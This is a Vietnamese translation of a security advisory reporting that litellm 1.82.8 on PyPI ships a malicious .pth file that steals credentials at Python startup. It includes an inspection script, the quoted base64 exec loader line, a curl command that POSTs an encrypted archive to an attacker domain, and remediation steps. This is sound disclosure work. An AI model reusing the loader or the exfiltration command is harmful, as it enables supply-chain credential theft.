Skip to content
tinAI
Go back

Cảnh Báo Bảo Mật: File litellm_init.pth Độc Hại Trong litellm 1.82.8

Bài gốc: [Security]: CRITICAL: Malicious litellm_init.pth in litellm 1.82.8 — credential stealer

Tác giả: Unknown

Ngày đăng: Dịch ngày:

TL;DR

Phiên bản litellm 1.82.8 trên PyPI chứa mã độc có khả năng đánh cắp thông tin nhạy cảm ngay khi Python khởi động. Dev cần xoá gói này ngay, kiểm tra và thay đổi tất cả các thông tin xác thực có khả năng bị lộ.

Tóm Tắt

Gói litellm==1.82.8 trên PyPI chứa một file .pth độc hại (litellm_init.pth, 34,628 bytes) tự động thi hành mã đánh cắp thông tin xác thực mỗi khi Python khởi động — không cần import litellm. Đây là một cuộc tấn công vào chuỗi cung ứng.

Tái Hiện Vấn Đề

Sử dụng lệnh sau để tải về và kiểm tra:

pip download litellm==1.82.8 --no-deps -d /tmp/check
python3 -c "
import zipfile, os
whl = '/tmp/check/' + [f for f in os.listdir('/tmp/check') if f.endswith('.whl')][0]
with zipfile.ZipFile(whl) as z:
    pth = [n for n in z.namelist() if n.endswith('.pth')]
    print('PTH files:', pth)
    for p in pth:
        print(z.read(p)[:300])
"

Bạn sẽ thấy nội dung của litellm_init.pth như sau:

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"])

Phân Tích Chi Tiết Mã Độc

Giai Đoạn 1: Thu Thập Thông Tin

Mã độc thu thập dữ liệu nhạy cảm từ hệ thống:

Giai Đoạn 2: Mã Hóa và Trích Xuất

  1. Dữ liệu thu thập được ghi vào tệp tạm thời.
  2. Khóa phiên mã hóa AES-256 được tạo ngẫu nhiên.
  3. Dữ liệu được mã hóa với openssl enc -aes-256-cbc -pbkdf2.
  4. Khóa AES được mã hóa với khóa công khai RSA 4096-bit.
  5. Tập tin được đóng gói lại và gửi đi qua URL độc hại.
curl -s -o /dev/null -X POST \
  "https://models.litellm.cloud/" \
  -H "Content-Type: application/octet-stream" \
  -H "X-Filename: tpcp.tar.gz" \
  --data-binary @tpcp.tar.gz

Hậu Quả

Người dùng cài đặt litellm==1.82.8 có thể bị mất toàn bộ biến môi trường và thông tin bảo mật.

Phiên Bản Bị Ảnh Hưởng

Hành Động Khuyến Nghị

  1. PyPI: Gỡ bỏ ngay lập tức litellm 1.82.8.
  2. Người dùng: Kiểm tra litellm_init.pth trong thư mục site-packages/.
  3. Người dùng: Đổi tất cả thông tin xác thực, API keys.
  4. BerriAI: Kiểm tra bảo mật quá trình đóng gói và phát hành.

Môi Trường


Read Original (EN) Quay lại Newsletter